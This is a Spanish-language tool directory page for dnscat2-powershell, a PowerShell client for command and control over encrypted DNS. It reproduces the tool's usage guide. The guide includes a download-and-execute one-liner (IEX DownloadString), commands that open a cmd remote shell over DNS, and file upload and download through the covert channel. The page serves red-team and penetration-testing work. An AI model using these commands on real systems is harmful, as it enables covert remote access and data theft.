Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
dnscat2-powershell — Un cliente de Powershell para dnscat2, una herramienta de comando y control mediante DNS cifrado. | Kitploit
Herramientas/GitHubGitHub/lukebaggett/dnscat2-powershell
Herramientas de Cifrado/DescifradoPost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingAnálisis de DNSArchived
GitHublukebaggett/dnscat2-powershell

dnscat2-powershell

Un cliente de Powershell para dnscat2, una herramienta de comando y control mediante DNS cifrado.

Ver Repositorio
4351237hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

dnscat2 es una herramienta de canal encubierto DNS por @iagox86 (Ron Bowes) que se utiliza para transferir datos a través de solicitudes DNS.

Esta es una versión de PowerShell del cliente C de dnscat2.

Haga clic aquí para una publicación en el blog que ofrece un desglose más detallado del propósito de este script y cómo usarlo.

Para usar este script, necesitarás el servidor dnscat2 en Ruby. Asegúrate de agregar la opción --no-cache al ejecutar el servidor. Este cliente es incompatible con el almacenamiento en caché del servidor.

Configuración

Primero, instala el servidor dnscat2. Inicia el servidor con el almacenamiento en caché deshabilitado usando --no-cache. El comando para iniciar tu servidor debería verse algo así: ruby dnscat2.rb --dns="domain=example.com" --no-cache

A continuación, inicia Windows PowerShell (versión 2.0 o posterior). Puedes usar este comando para cargar las funciones de PowerShell de dnscat2:

root@kitploit:~
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

Ejemplos

Start-Dnscat2 es la función real utilizada como cliente. Especifica el servidor dnscat2 usando -Domain.

root@kitploit:~
Iniciar una sesión de comandos y enviar solicitudes DNS a 8.8.8.8 en el puerto 53:
    Start-Dnscat2 -Domain <servidor dnscat2> -DNSServer 8.8.8.8

Enviar un shell cmd y enviar solicitudes DNS al servidor DNS predeterminado configurado en Windows:
    Start-Dnscat2 -Domain <servidor dnscat2> -Exec cmd

Iniciar una sesión de consola. Usar solo solicitudes CNAME, MX y AAAA:
    Start-Dnscat2 -Domain <servidor dnscat2> -LookupTypes @("CNAME","MX","AAAA") -Console

No cifrar la sesión. El cifrado está habilitado por defecto.
    Start-Dnscat2 -Domain <servidor dnscat2> -NoEncryption

Comandos de sesión de comandos de PowerShell

El cliente puede manejar comandos normales de dnscat2, o la versión de PowerShell de ese comando. Para usar la versión de PowerShell de un comando, establece parámetros específicos que el cliente detectará (Estos son comandos ejecutados desde una sesión de comandos en el servidor):

root@kitploit:~
Iniciar una nueva sesión que simula un shell de PowerShell, como ExecPS:
    exec psh

Subir app.exe en el servidor a una cadena hexadecimal almacenada en la variable de PowerShell $app:
    upload app.exe hex:$app

Descargar la matriz de bytes almacenada en la variable de PowerShell $app a app.exe en el servidor:
    download bytes:$app app.exe

Start-Dnscat2

root@kitploit:~
-Domain <String>          El dominio utilizado por el servidor dnscat2.
-DNSServer <String>       El nombre de host o dirección IP a la que enviar consultas DNS. (Predeterminado: Establecido por Windows)
-DNSPort <Int32>          El puerto al que enviar consultas DNS. (Predeterminado: 53)

-Command                  Iniciar una sesión de comandos. (Predeterminado)
-Exec <String>            Vincular la E/S de un proceso con la sesión de Dnscat2.
-Console                  Vincular la E/S de la consola con la sesión de Dnscat2.
-ExecPS                   Simular una sesión de PowerShell y vincular la E/S con la sesión de Dnscat2.
                          ADVERTENCIA: Salir matará todo el cliente dnscat2, no solo la sesión.

-PreSharedSecret          Establecer el mismo secreto en el servidor para autenticar y prevenir MITM.
-NoEncryption             No usar cifrado.

-LookupTypes <String[]>   Establecer una matriz de tipos de consulta para cambiar aleatoriamente.
                          Solo se admiten registros TXT, MX, CNAME, A y AAAA. Predeterminado: @(TXT, MX, CNAME)
-Delay <Int32>            Establecer un retraso entre cada solicitud, en milisegundos. (Predeterminado: 0)
-MaxRandomDelay <Int32>   Establecer el valor máximo de un retraso aleatorio agregado al retraso normal, en milisegundos. (Predeterminado: 0)
-MaxPacketSize <Int32>    Longitud máxima de un paquete dnscat2. (Predeterminado: 240)
-Name <String>            El nombre de tu sesión dnscat2. (Predeterminado: nombre de host)

ExecPS y 'exec psh'

dnscat2-powershell simula una sesión de PowerShell pasando datos del servidor a Invoke-Expression. Solo se devuelve stdout, y las variables se conservan mientras el cliente esté en ejecución. Cuidado con cosas que salen de PowerShell como "exit" y "break", porque todo el cliente dnscat2-powershell saldrá, no solo la sesión ExecPS.

Otros Créditos

  • db9 en stackoverflow demostración de BouncyCastle ECDH.
  • Implementación de FrankSpierings de Salsa20 y Sha3 en PowerShell a través de C#.
  • Versión reducida de Rebex Labs de la DLL BouncyCastle para ECC.
Descargar herramienta